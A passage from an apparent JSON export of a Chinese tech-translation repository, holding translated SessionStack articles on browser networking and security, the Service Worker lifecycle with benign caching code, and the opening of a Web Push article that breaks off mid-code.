可以学习用户的操作习惯来使自己变得更快。它根据用户访问的网站和典型的浏览模式进行学习，以便在用户做任何事情之前预测可能的用户行为并采取行动。最简单的例子是当用户在链接上悬停时，Chrome 会预先渲染页面。如果您有兴趣了解有关 Chrome 优化的更多信息，可以查看[高性能浏览器网络（High-Performance Browser Networking）](https://hpbn.co)一书中的本章节 [https://www.igvita.com/posa/high-performance-networking-in-google-chrome/](https://www.igvita.com/posa/high-performance-networking-in-google-chrome/)。\n\n### 网络安全和沙盒\n\n允许浏览器管理单个套接字具有另一个非常重要的目的：通过这种方式，浏览器可以对不可信的应用程序资源强制执行一致的安全和策略约束。例如，浏览器不允许通过 API 直接访问原始网络套接字，因为这可以使任何恶意应用程序与任何主机进行任意连接。浏览器还强制性地限制连接数，以保护服务器以及客户端免受资源耗尽的问题。\n\n浏览器格式化所有传出请求，以强制实行风格一致且格式良好的协议语义来保护服务器。同样，响应解码自动完成，以保护用户免受恶意服务器的侵害。\n\n#### TLS 协商\n\n[传输层安全协定（TLS）](https://en.wikipedia.org/wiki/Transport_Layer_Security)是一种在计算机网络上提供安全通信保障的加密协议。它在许多应用程序中广泛使用，其中之一是网页浏览。网站可以使用 TLS 来保护其服务器和 Web 浏览器之间的所有通信。\n\n完整的 TLS 握手包含以下几步：\n\n1.  客户端向服务器发送『Client hello』消息，与之一同发送的还有客户端产生的随机值和支持的密码套件。\n2.  服务器通过向客户端发送『Server hello』消息以及服务器产生的随机值进行响应。\n3.  服务器将其认证证书发送给客户端，并可能向客户端请求类似的证书。服务器发送『Server hello done』消息。\n4.  如果服务器已经向客户端请求了证书，则客户端发送它。\n5.  客户端创建一个随机的预主密钥（Pre-Master Secret），并使用服务器证书中的公钥对其进行加密，再将加密的预主密钥发送给服务器。\n6.  服务器接收到预主密钥。服务器和客户端根据预主密钥生成主密钥和会话密钥。\n7.  客户端向服务器发送『Change cipher spec』通知，指示客户端将开始使用新的会话密钥进行散列和加密消息。客户端还发送『Client finished』消息。\n8.  服务器收到『Change cipher spec』的消息，并使用会话密钥将其记录层安全状态切换为对称加密。服务器向客户端发送『Server finished』消息。\n9.  客户端和服务器现在可以通过他们建立的安全通道交换应用程序数据。所有从当前客户端发送到服务器并返回的消息均使用会话密钥加密。\n\n任何一步校验失败，用户都将会收到警告。例如，服务器正在使用自签名证书。\n\n#### 同源策略\n\n如果两个页面的协议、端口和主机名都相同的话，那么这两个页面同源。\n\n以下是一些可能嵌入跨源资源的一些例子：\n\n*   通过 `<script src=”…”></script>` 引用 JavaScript 资源。语法错误的错误消息仅适用于同源脚本\n*   通过 `<link rel=”stylesheet” href=”…”>` 引用 CSS 资源。由于 CSS 的宽松语法规则，跨源 CSS 需要正确的 Content-Type 标头。不同浏览器可能有不同的限制。\n*   通过 `<img>` 引用图像资源。\n*   通过 `<video>` 和 `<audio>` 引用多媒体资源。\n*   通过 `<object>`、`<embed>` 和 `<applet>` 引用插件资源。\n*   通过 @font-face 引用字体资源。某些浏览器允许使用跨域字体，某些则不行。\n*   任何通过 `<frame>` 和 `<iframe>` 引用的资源。网站可以使用 X-Frame-Options 头部标识来阻止这种形式的跨源交互。\n\n以上列表远非完整；其目地是为了突出『最小特权』原则。 浏览器只公开应用程序代码必须的 API 和资源：应用程序提供数据和 URL，浏览器格式化请求并处理每个连接的完整生命周期。\n\n值得注意的是，『同源策略』并非是个单一的概念。相反，有一组相关机制来强制性地限制 DOM 访问，Cookie 和会话状态管理，网络以及浏览器的其他组件。\n\n### 资源和客户端状态缓存\n\n最好和最快的请求是未发出的请求。在分派请求之前，浏览器会自动检查其资源缓存，执行必要的验证检查，并在满足指定条件时返回资源的本地副本。如果本地资源在缓存中不可用，则会发出网络请求，并且响应会被自动放入缓存中以供后续访问（如果允许）。\n\n*   浏览器自动评估每个资源上的缓存指令\n*   在可能的情况下，浏览器会自动重新验证过期资源\n*   浏览器自动管理缓存大小和回收资源\n\n管理高效和优化的资源缓存是很困难的。值得庆幸的是，浏览器替我们完成了所有复杂的事务，我们只需要确保我们的服务器返回适当的缓存指令；要了解更多信息，请参见[客户端上的缓存资源（Cache Resources on the Client）](https://hpbn.co/optimizing-application-delivery/#cache-resources-on-the-client)。您确实有为网页上的所有资源都提供了 Cache-Control，ETag 和 Last-Modified 响应头部字段，对吧？\n\n最后，浏览器经常被忽视但至关重要的功能是提供身份验证，会话和 cookie 管理。浏览器为每个源维护单独的「Cookie jars」，提供必要的应用程序和服务器 API 来读取和写入新的 Cookie，会话和身份验证数据，并自动附加上和处理相应的 HTTP 头以代替我们自动执行整个过程。\n\n#### 举个栗子：\n\n用一个简单但有说明性的例子来说明将会话状态管理推放到浏览器端的便利之处：同一个经过身份验证的会话可以在多个选项卡或浏览器窗口之间共享，反之亦然；单个选项卡中的注销操作将使所有其他打开的窗口中打开的会话失效。\n\n### 应用程序 API 和协议\n\n研究完了网络服务，终于到达了应用程序 API 和协议这一步。正如我们所看到的，较低层提供了一系列关键服务：套接字和连接管理、请求和响应处理、各种安全策略的执行、缓存等等。每次我们启动一个 HTTP、一个XMLHttpRequest 或是一个长期的 Server-Sent Event 或 WebSocket 会话，或是打开一个 WebRTC 连接，我们都在与这些底层服务的一部分或全部进行交互。\n\n没有单一的最佳协议或 API。每个不平凡的应用程序都需要根据各种需求混合使用不同的传输：与浏览器缓存的交互、协议开销、消息延迟、可靠性、数据传输类型等等。某些协议可能提供低延迟传输（例如 Server-Sent Events，WebSocket），但可能不符合其他关键条件，例如在所有情况下都能够利用浏览器缓存或支持高效二进制传输。\n\n### 简单几步提高您的 Web 应用性能和安全性\n\n*   请求中始终使用「Connection：Keep-Alive」头部字段。浏览器默认这样做。确保服务器使用相同的机制。\n*   使用正确的 Cache-Control、Etag 和 Last-Modified 头部字段，这样可以节约一些浏览器下载时间。\n*   花时间调整并优化您的 Web 服务器。这才是真正的魔法发生的地方！请记住，该过程要针对每个 Web 应用程序以及您要传输的数据的类型对症下药。\n*   始终使用 TLS！特别是如果您的应用程序中有任何形式的身份验证。\n*   研究浏览器在您的应用程序中提供并实施了哪些安全策略。\n\n性能和安全性两者都是 [SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=js-series-networking-layer-outro) 中的一等公民。我们无法妥协的原因在于，一旦 SessionStack 集成到您的 Web 应用程序中，它就会开始监视从 DOM 更改、用户交互到网络请求，未处理的异常和调试消息的所有内容。所有数据都会实时传输到我们的服务器上，这样您就能够以视频的形式重现用户遇到的一切情况。 而这一切都是以最短的延迟进行的，不会对应用程序造成任何额外的性能开销。\n\n这就是为何我们努力实践以上所有提示，以及我们将在未来发布的内容中讨论的更多内容。\n\n如果你想[试一试 SessionStack](https://www.sessionstack.com/signup/)，这有一个免费的计划。\n\n![](https://cdn-images-1.medium.com/max/800/0*h2Z_BnDiWfVhgcEZ.)\n\n#### 参考资源\n\n*   [https://hpbn.co/](https://hpbn.co/)\n*   [https://www.amazon.com/Tangled-Web-Securing-Modern-Applications/dp/1593273886](https://www.amazon.com/Tangled-Web-Securing-Modern-Applications/dp/1593273886)\n*   [https://msdn.microsoft.com/en-us/library/windows/desktop/aa380513(v=vs.85).aspx](https://msdn.microsoft.com/en-us/library/windows/desktop/aa380513%28v=vs.85%29.aspx)\n*   [http://www.internetlivestats.com/](http://www.internetlivestats.com/)\n*   [http://vanseodesign.com/web-design/browser-requests/](http://vanseodesign.com/web-design/browser-requests/)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-javascript-works-service-workers-their-life-cycle-and-use-cases.md",
    "content": "> * 原文地址：[How JavaScript works: Service Workers, their lifecycle and use cases](https://blog.sessionstack.com/how-javascript-works-service-workers-their-life-cycle-and-use-cases-52b19ad98b58)\n> * 原文作者：[Alexander Zlatkov](https://blog.sessionstack.com/@zlatkov?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-service-workers-their-life-cycle-and-use-cases.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-service-workers-their-life-cycle-and-use-cases.md)\n> * 译者：[talisk](https://github.com/talisk)\n> * 校对者：[allen](https://github.com/allenlongbaobao)，[赵立杨](https://github.com/elliott-zhao)\n\n# JavaScript 是如何工作的：Service Worker 的生命周期与使用场景\n\n这是专门探索 JavaScript 及其构建组件的系列的第八个。在识别和描述核心元素的过程中，我们也分享了一些我们在构建 [SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=source&utm_content=javascript-series-web-workers-intro) 时的最佳实践。SessionStack 是一个强大且性能卓越的 JavaScript 应用程序，可以向你实时显示用户在 Web 应用程序中遇到技术问题或用户体验问题时的具体情况。\n\n如果你没看过之前的章节，你可以在这里看到：\n\n1. [[译] JavaScript 是如何工作的：对引擎、运行时、调用堆栈的概述](https://juejin.im/post/5a05b4576fb9a04519690d42)\n2. [[译] JavaScript 是如何工作的：在 V8 引擎里 5 个优化代码的技巧](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-inside-the-v8-engine-5-tips-on-how-to-write-optimized-code.md)\n3. [[译] JavaScript 是如何工作的：内存管理 + 处理常见的4种内存泄漏](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-memory-management-how-to-handle-4-common-memory-leaks.md)\n4. [[译] JavaScript 是如何工作的: 事件循环和异步编程的崛起 + 5个如何更好的使用 async/await 编码的技巧](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-event-loop-and-the-rise-of-async-programming-5-ways-to-better-coding-with.md)\n5. [[译] JavaScript 是如何工作的：深入剖析 WebSockets 和拥有 SSE 技术 的 HTTP/2，以及如何在二者中做出正确的选择](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-deep-dive-into-websockets-and-http-2-with-sse-how-to-pick-the-right-path.md)\n6. [[译] JavaScript 是如何工作的：与 WebAssembly 一较高下 + 为何 WebAssembly 在某些情况下比 JavaScript 更为适用](https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-a-comparison-with-webassembly-why-in-certain-cases-its-better-to-use-it.md)\n7. [[译] JavaScript 是如何工作的：Web Worker 的内部构造以及 5 种你应当使用它的场景](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-the-building-blocks-of-web-workers-5-cases-when-you-should-use-them.md)\n\n![](https://cdn-images-1.medium.com/max/800/1*oOcY2Gn-LVt1h-e9xOv5oA.jpeg)\n\n你可能已经知道了[渐进式 Web 应用](https://developers.google.com/web/progressive-web-apps/)只会越来越受欢迎，因为它们旨在使 Web 应用的用户体验更加流畅，提供原生应用体验而不是浏览器的外观和感觉。\n\n构建渐进式 Web 应用程序的主要要求之一是使其在网络和加载方面非常可靠 —— 它应该可用于不确定或不可用的网络条件。\n\n在这篇文章中，我们将深入探讨 Service Worker：它们如何运作以及开发者应该关心什么。最后，我们还列出了开发者应该利用的 Service Worker 的一些独特优势，并在 [SessionStack](https://www.sessionstack.com/) 中分享我们自己团队的经验。\n\n#### 概览\n\n如果你想了解 Service Worker 的一切内容，你应该从阅读我们博客上，关于 [Web Workers](https://blog.sessionstack.com/how-javascript-works-the-building-blocks-of-web-workers-5-cases-when-you-should-use-them-a547c0757f6a) 的文章开始。\n\n基本上，Service Worker 是 Web Worker 的一个类型，更具体地说，它像 [Shared Worker](https://developer.mozilla.org/en-US/docs/Web/API/SharedWorker)：\n\n*   Service Worker 在其自己的全局上下文中运行\n*   它没有绑定到特定的网页\n*   它不能访问到 DOM\n\nService Worker API 令人兴奋的主要原因之一是它可以让你的网络应用程序支持离线体验，从而使开发人员能够完全控制流程。\n\n#### Service Worker 的生命周期\n\nService Worker 的生命周期与你的网页是完全分开的，它由以下几个阶段组成：\n\n*   下载\n*   安装\n*   激活\n\n#### 下载\n\n这是浏览器下载包含 Service Worker 的 `.js` 文件的时候。\n\n#### 安装\n\n要为你的Web应用程序安装 Service Worker，你必须先注册它，你可以在 JavaScript 代码中进行注册。当注册 Service Worker 时，它会提示浏览器在后台启动 Service Worker 安装步骤。\n\n通过注册 Service Worker，你可以告诉浏览器你的 Service Worker 的 JavaScript 文件在哪里。我们来看下面的代码：\n\n```\nif ('serviceWorker' in navigator) {\n  window.addEventListener('load', function() {\n    navigator.serviceWorker.register('/sw.js').then(function(registration) {\n      // Registration was successful\n      console.log('ServiceWorker registration successful');\n    }, function(err) {\n      // Registration failed\n      console.log('ServiceWorker registration failed: ', err);\n    });\n  });\n}\n```\n\n该代码检查当前环境中是否支持Service Worker API。如果是，则 `/sw.js` 这个 Service Worker 就被注册了。\n\n每次页面加载时都可以调用 `register()` 方法，浏览器会判断 Service Worker 是否已经注册，并且会正确处理。\n\n`register()` 方法的一个重要细节是 Service Worker 文件的位置。在这种情况下，你可以看到 Service Worker 文件位于域的根目录。这意味着 Service Worker 的范围将是整个网站。换句话说，这个 Service Worker 将会收到这个域的所有内容的 `fetch` 事件（我们将在后面讨论）。如果我们在 `/example/sw.js` 注册 Service Worker 文件，那么 Service Worker 只会看到以 `/example/` 开头的页面的 `fetch` 事件（例如 `/example/page1/`、`/example/page2/`）。\n\n在安装阶段，最好加载和缓存一些静态资源。资源成功缓存后，Service Worker 安装完成。如果没有成功（加载失败）—— Service Worker 将重试。一旦安装成功，静态资源就已经在缓存中了。\n\n如果注册需要在加载事件之后发生，这就解答了你“注册是否需要在加载事件之后发生”的疑惑。这不是必要的，但绝对是推荐的。\n\n为什么这样呢？让我们考虑用户第一次访问网络应用程序的情况。当前还没有 Service Worker，浏览器无法事先知道最终是否会安装 Service Worker。如果安装了 Service Worker，则浏览器需要为这个额外的线程承担额外的 CPU 和内存开销，否则浏览器会将计算资源用于渲染网页上。\n\n最重要的是，如果在页面上安装一个 Service Worker，就可能会有延迟加载和渲染的风险 —— 而不是尽快让你的用户可以使用该页面。\n\n请注意，这种情况仅仅是在第一次访问页面时很重要。后续页面访问不受 Service Worker 安装的影响。一旦在第一次访问页面时激活 Service Worker，它可以处理加载、缓存事件，以便随后访问 Web 应用程序。这一切都是有意义的，因为它需要准备好处理受限的网络连接。\n\n#### 激活\n\n安装 Service Worker 之后，下一步是将它激活。这一步是管理之前缓存内容的好机会。\n\n一旦激活，Service Worker 将开始控制所有属于其范围的页面。一个有趣的事实是：首次注册 Service Worker 的页面将不会被控制，直到该页面再次被加载。一旦 Service Worker 处于控制之下，它将处于以下状态之一：\n\n*   它将处理当页面发出网络请求或消息时发生的 fetch 和 message 事件\n*   它将被终止以节省内存\n\n以下是生命周期的示意图：\n\n![](https://cdn-images-1.medium.com/max/800/1*mVOrpKC9pFTMg4EXPozoog.png)\n\n#### 处理 Service Worker 内部的装置\n\n在页面处理注册过程之后，让我们看看 Service Worker 脚本中发生了什么，它通过向 Service Worker 实例添加事件监听来处理 `install` 事件。\n\n这些是处理 `install` 事件时需要采取的步骤：\n\n*   开启一个缓存\n*   缓存我们的文件\n*   确认是否缓存了所有必需的资源\n\n在 Service Worker 内部的一个简单装置可能会看起来像这样：\n\n```\nvar CACHE_NAME = 'my-web-app-cache';\nvar urlsToCache = [\n  '/',\n  '/styles/main.css',\n  '/scripts/app.js',\n  '/scripts/lib.js'\n];\n\nself.addEventListener('install', function(event) {\n  // event.waitUntil takes a promise to know how\n  // long the installation takes, and whether it \n  // succeeded or not.\n  event.waitUntil(\n    caches.open(CACHE_NAME)\n      .then(function(cache) {\n        console.log('Opened cache');\n        return cache.addAll(urlsToCache);\n      })\n  );\n});\n```\n\n如果所有文件都成功缓存，则将安装 Service Worker。如果**任何一个**文件都无法下载，则安装步骤将失败。所以要小心你放在那里的文件。\n\n处理 `install` 事件完全是可选的，你可以避免它，在这种情况下，你不需要执行这里的任何步骤。\n\n#### 运行时缓存请求\n\n这部分是货真价实的内容。你将看到如何拦截请求并返回创建的缓存（以及创建新缓存）的位置。\n\n在安装 Service Worker 后，用户进入了新的页面，或者刷新当前页面后，Service Worker 将收到 fetch 事件。 下面是一个演示如何返回缓存资源，或发送新请求后缓存结果的示例：\n\n```\nself.addEventListener('fetch', function(event) {\n  event.respondWith(\n    // This method looks at the request and\n    // finds any cached results from any of the\n    // caches that the Service Worker has created.\n    caches.match(event.request)\n      .then(function(response) {\n        // If a cache is hit, we can return thre response.\n        if (response) {\n          return response;\n        }\n\n        // Clone the request. A request is a stream and\n        // can only be consumed once. Since we are consuming this\n        // once by cache and once by the browser for fetch, we need\n        // to clone the request.\n        var fetchRequest = event.request.clone();\n        \n        // A cache hasn't been hit so we need to perform a fetch,\n        // which makes a network request and returns the data if\n        // anything can be retrieved from the network.\n        return fetch(fetchRequest).then(\n          function(response) {\n            // Check if we received a valid response\n            if(!response || response.status !== 200 || response.type !== 'basic') {\n              return response;\n            }\n\n            // Cloning the response since it's a stream as well.\n            // Because we want the browser to consume the response\n            // as well as the cache consuming the response, we need\n            // to clone it so we have two streams.\n            var responseToCache = response.clone();\n\n            caches.open(CACHE_NAME)\n              .then(function(cache) {\n                // Add the request to the cache for future queries.\n                cache.put(event.request, responseToCache);\n              });\n\n            return response;\n          }\n        );\n      })\n    );\n});\n```\n\n概括地说这其中发生了什么:\n\n*   `event.respondWith()` 将决定我们如何回应 `fetch` 事件。我们传递来自 `caches.match()` 的一个 promise，它检查请求并查找是否有已经创建的缓存结果。\n*   如果在缓存中，响应内容就被恢复了。\n*   否则，将会执行 `fetch`。\n*   检查状态码是不是 `200`，同时检查响应类型是 **basic**，表明响应来自我们最初的请求。在这种情况下，不会缓存对第三方资源的请求。\n*   响应被缓存下来\n\n请求和响应必须被复制，因为它们是[流](https://streams.spec.whatwg.org/)。流的 body 只能被使用一次。并且由于我们想消费它们，而浏览器也必须消费它们，因此我们便需要克隆它们。\n\n#### 上传 Service Worker\n\n当有一个用户访问你的 web 应用，浏览器将尝试重新下载包含了 Service Worker 的 `.js` 文件。这将在后台执行。\n\n如果与当前 Service Worker 的文件相比，新下载的 Service Worker 文件中存在哪怕一个字节的差异，则浏览器将会认为有变更，且必须启动新的 Service Worker。\n\n新的 Service Worker 将启动并且安装事件将被移除。然而，在这一点上，旧的 Service Worker 仍在控制你的 web 应用的页面，这意味着新的 Service Worker 将进入 `waiting` 状态。\n\n一旦你的 web 应用程序当前打开的页面都被关掉，旧的 Service Worker 就会被浏览器干掉，西南装的 Service Worker 将完全掌控应用。这就是它激活的事件将被干掉的时候。\n\n为什么需要这些？为了避免两个版本的 Web 应用程序同时运行在不同的 tab 上 —— 这在网络上实际上非常常见，并且可能会产生非常糟糕的错误（例如，在浏览器中本地存储数据时，会有不同的 schema）。\n\n#### 从缓存中删除数据\n\n`activate` 回调中最常见的步骤是缓存管理。我们应该现在做这件事，因为如果你在安装步骤中清除了所有旧缓存，旧的 Service Worker 将突然停止提供缓存中的文件。\n\n这里提供了一个如何从缓存中删除一些不在白名单中的文件的例子（在本例中，有 `page-1`、`page-2` 两个实体）：\n\n```\nself.addEventListener('activate', function(event) {\n\n  var cacheWhitelist = ['page-1', 'page-2'];\n\n  event.waitUntil(\n    // Retrieving all the keys from the cache.\n    caches.keys().then(function(cacheNames) {\n      return Promise.all(\n        // Looping through all the cached files.\n        cacheNames.map(function(cacheName) {\n          // If the file in the cache is not in the whitelist\n          // it should be deleted.\n          if (cacheWhitelist.indexOf(cacheName) === -1) {\n            return caches.delete(cacheName);\n          }\n        })\n      );\n    })\n  );\n});\n```\n\n#### HTTPS 要求\n\n在构建 Web 应用程序时，开发者可以通过本地主机使用 Service Worker，但是一旦将其部署到生产环境中，则需要准备好 HTTPS（这是拥有 HTTPS 的最后一个原因）。\n\n使用 Service Worker，你可以劫持连接并伪造响应。若不使用 HTTPS，你的 web 应用程序变得容易发生[中间人攻击](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)。\n\n为了更安全，你需要在通过 HTTPS 提供的页面上注册 Service Worker，以便知道浏览器接收的 Service Worker 在通过网络传输时未被修改。\n\n#### 浏览器支持\n\n浏览器对 Service Worker 的支持正在变得越来越好：\n\n![](https://cdn-images-1.medium.com/max/800/1*6o2TRDmrJlS97vh1wEjLYw.png)\n\n你可以在这个网站上追踪所有浏览器的适配进程 —— [https://jakearchibald.github.io/isserviceworkerready/](https://jakearchibald.github.io/isserviceworkerready/)。\n\n#### Service Workers 正在打开美好特性的大门\n\nService Worker 提供的一些独一无二的特性：\n\n*   **推送通知** —— 允许用户选择从 web 应用程序及时获取通知。\n*   **后台同步** —— 在用户网络不稳定时，允许开发者推迟操作，直到用户具有稳定的连接。这样，就可以确保无论用户想要发送什么数据，都可以发出去。\n*   **定时同步**（未来支持）—— 提供管理定期后台同步功能的 API。\n*   **地理围栏**（未来支持）—— 开发者可以自定义参数，创建感兴趣区域的**地理围栏**。当设备跨越地理围栏时，Web 应用程序会收到通知，这可以让开发者根据用户的地理位置提供有效服务。\n\n这些将在本系列未来的博客文章中详细讨论。\n\n我们一直致力于使 SessionStack 的用户体验尽可能流畅，优化页面加载和响应时间。\n\n当你在 [SessionStack](https://www.sessionstack.com)（或实时观看）中重播用户会话时，SessionStack 前端将不断从我们的服务器提取数据，以便无缝地创建缓冲区，像你刚才，同本文中一样的经历。为了提供一些上下文 —— 一旦你将 SessionStack 的库集成到 Web 应用程序中，它将不断收集诸如 DOM 更改，用户交互，网络请求，未处理的异常和调试消息等数据。\n\n当会话正在重播或实时流式传输时，SessionStack 会提供所有数据，让开发者可以在视觉和技术上查看用户在自己的浏览器中体验到的所有内容。这一切都需要快速实现，因为我们不想让用户等待。\n\n由于数据是由我们的前端提取的，因此这是一个很好的地方，可以利用 Service Worker 来重新加载我们的播放器，以及重新传输数据流等情况。处理较慢的网络连接也非常重要。\n\n如果你想尝试 SessionStack，[这有个免费的计划](https://www.sessionstack.com/?utm_source=medium&utm_medium=source&utm_content=javascript-series-web-workers-try-now)。\n\n![](https://cdn-images-1.medium.com/max/800/1*YKYHB1gwcVKDgZtAEnJjMg.png)\n\n#### 参考资料\n\n*   [https://developers.google.com/web/fundamentals/primers/service-workers/](https://developers.google.com/web/fundamentals/primers/service-workers/)\n*   [https://github.com/w3c/ServiceWorker/blob/master/explainer.md](https://github.com/w3c/ServiceWorker/blob/master/explainer.md)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-javascript-works-the-mechanics-of-web-push-notifications.md",
    "content": "> * 原文地址：[How JavaScript works: the mechanics of Web Push Notifications](https://blog.sessionstack.com/how-javascript-works-the-mechanics-of-web-push-notifications-290176c5c55d)\n> * 原文作者：[Alexander Zlatkov](https://blog.sessionstack.com/@zlatkov?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-the-mechanics-of-web-push-notifications.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-the-mechanics-of-web-push-notifications.md)\n> * 译者：[Starrier](https://github.com/StarriersStarrier)\n> * 校对者：[allen](https://github.com/allenlongbaobao)、[老教授](https://github.com/weberpan)\n\n# JavaScript 是如何工作的：Web 推送通知的机制\n\n这是专门研究 JavaScript 及其构建组件系列文章的第 9 章。在识别和描述核心元素的过程中，我们还分享了我们在构建一个轻量级 JavaScript 应用程序 [SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=javascript-series-push-notifications-intro) 时使用的一些经验规则，该应用程序需要健壮、高性能，可以帮助用户实时查看和重现它们的 Web 应用程序缺陷。\n\n如果你错过了前几章，你可以在这里找到它们：\n\n1. [[译] JavaScript 是如何工作的：对引擎、运行时、调用堆栈的概述](https://juejin.im/post/5a05b4576fb9a04519690d42)\n2. [[译] JavaScript 是如何工作的：在 V8 引擎里 5 个优化代码的技巧](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-inside-the-v8-engine-5-tips-on-how-to-write-optimized-code.md)\n3. [[译] JavaScript 是如何工作的：内存管理 + 处理常见的4种内存泄漏](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-memory-management-how-to-handle-4-common-memory-leaks.md)\n4. [[译] JavaScript 是如何工作的: 事件循环和异步编程的崛起 + 5个如何更好的使用 async/await 编码的技巧](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-event-loop-and-the-rise-of-async-programming-5-ways-to-better-coding-with.md)\n5. [[译] JavaScript 是如何工作的：深入剖析 WebSockets 和拥有 SSE 技术 的 HTTP/2，以及如何在二者中做出正确的选择](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-deep-dive-into-websockets-and-http-2-with-sse-how-to-pick-the-right-path.md)\n6. [[译] JavaScript 是如何工作的：与 WebAssembly 一较高下 + 为何 WebAssembly 在某些情况下比 JavaScript 更为适用](https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-a-comparison-with-webassembly-why-in-certain-cases-its-better-to-use-it.md)\n7. [[译] JavaScript 是如何工作的：Web Worker 的内部构造以及 5 种你应当使用它的场景](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-the-building-blocks-of-web-workers-5-cases-when-you-should-use-them.md)\n8. [[译] JavaScript 是如何工作的：Web Worker 生命周期及用例](https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-service-workers-their-life-cycle-and-use-cases.md)\n\n今天，我们来关注 Web 推送通知：我们将了解它们的构建组件，探索发送/接收通知的流程，最后分享 [SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=javascript-series-push-notifications-2nd) 是如何利用这些来构建新产品的特性。\n\n推送通知在手机领域被广泛使用。由于某种原因，它们很晚才进入 Web 领域，尽管开发人员呼唤了很久。\n\n#### 概述\n\nWeb 推送通知允许用户在 Web 应用程序中选择接收更新信息，这些旨在重新吸引用户群注意的更新信息通常是对用户来说有趣、重要、实时的内容。\n\n推送基于我们在[上一篇文章](https://blog.sessionstack.com/how-javascript-works-service-workers-their-life-cycle-and-use-cases-52b19ad98b58)中详细讨论过的 Service Worker。\n\n在这种情况下，使用 Service Worker 的原因是它们在后台工作。这对推送通知非常有用，因为这意味着只有当用户与通知本身进行交互时才会执行它们的代码。\n\n#### 推送和通知\n\n推送和通知是两种不同的 API。\n\n*   [推送](https://developer.mozilla.org/en-US/docs/Web/API/Push_API) —— 它在服务器端将消息推送给 Service Worker 时被调用\n*   [通知](https://developer.mozilla.org/en-US/docs/Web/API/Notifications_API) —— 这是 Service Worker 或 web 应用程序中向用户显示信息脚本的操作。\n\n#### 推送\n\n实现推送有三个步骤：\n\n1.  **UI** —— 添加必要的客户端逻辑来让用户订阅推送，这是你的 Web 应用程序 UI 需要的 JavaScript 逻辑，这样用户就能给自己注册从而可以收到消息推送。\n2.  **发送推送消息** —— 在服务器上实现 API 调用，该调用将触发对用户设备的推送消息。\n3.  **接受推送消息** —— 一旦推送消息到达浏览器，就进行处理。\n\n现在我们将更详细地描述整个过程。\n\n#### 浏览器支持检测\n\n首先，我们需要检查当前浏览器是否支持推送消息。我们可以通过两个简单的方法检查是否支持推送消息：\n\n1.  检查 `navigator` 对象上的 `serviceWorker` \n2.  检查 `window` 对象上的 `PushManager`\n\n两种检查看起来都是这样的：\n\n```\nif (!('serviceWorker' in navigator)) { \n  // Service Worker isn't supported on this browser, disable or hide UI. \n  return; \n}\n\nif (!('PushManager' in window)) { \n  // Push isn't supported on this browser, disable or hide UI. \n  return; \n}\n```\n\n#### 注册一个 Service Worker\n\n此时，我们知道该功能是受支持的。下一步是注册我们的 Service Worker。\n\n如何注册 Service Worker，你从我们以前的一篇文章中应该[已经熟悉了](https://blog.sessionstack.com/how-javascript-works-service-workers-their-life-cycle-and-use-cases-52b19ad98b58)。\n\n#### 请求许可\n\n在注册了 Service Worker 之后，我们可以开始订阅用户。要做到这一点，我们需要得到他的许可才能给他发送推送信息。\n\n获取许可的 API 相对简单，但缺点是 API 已经[从接受回调变为返回 Promise](https://developer.mozilla.org/en-US/docs/Web/API/Notification/requestPermission)，这带来了一个问题：我们无法判断当前浏览器实现了哪个 API 版本，因此你必须实现和处理这两个版本。\n\n看起来是这样的：\n\n```\nfunction requestPermission() {\n  return new Promise(function(resolve, reject) {\n    const permissionResult = Notification.requestPermission(function(result) {\n      // Handling deprecated version with callback.\n      resolve(result);\n    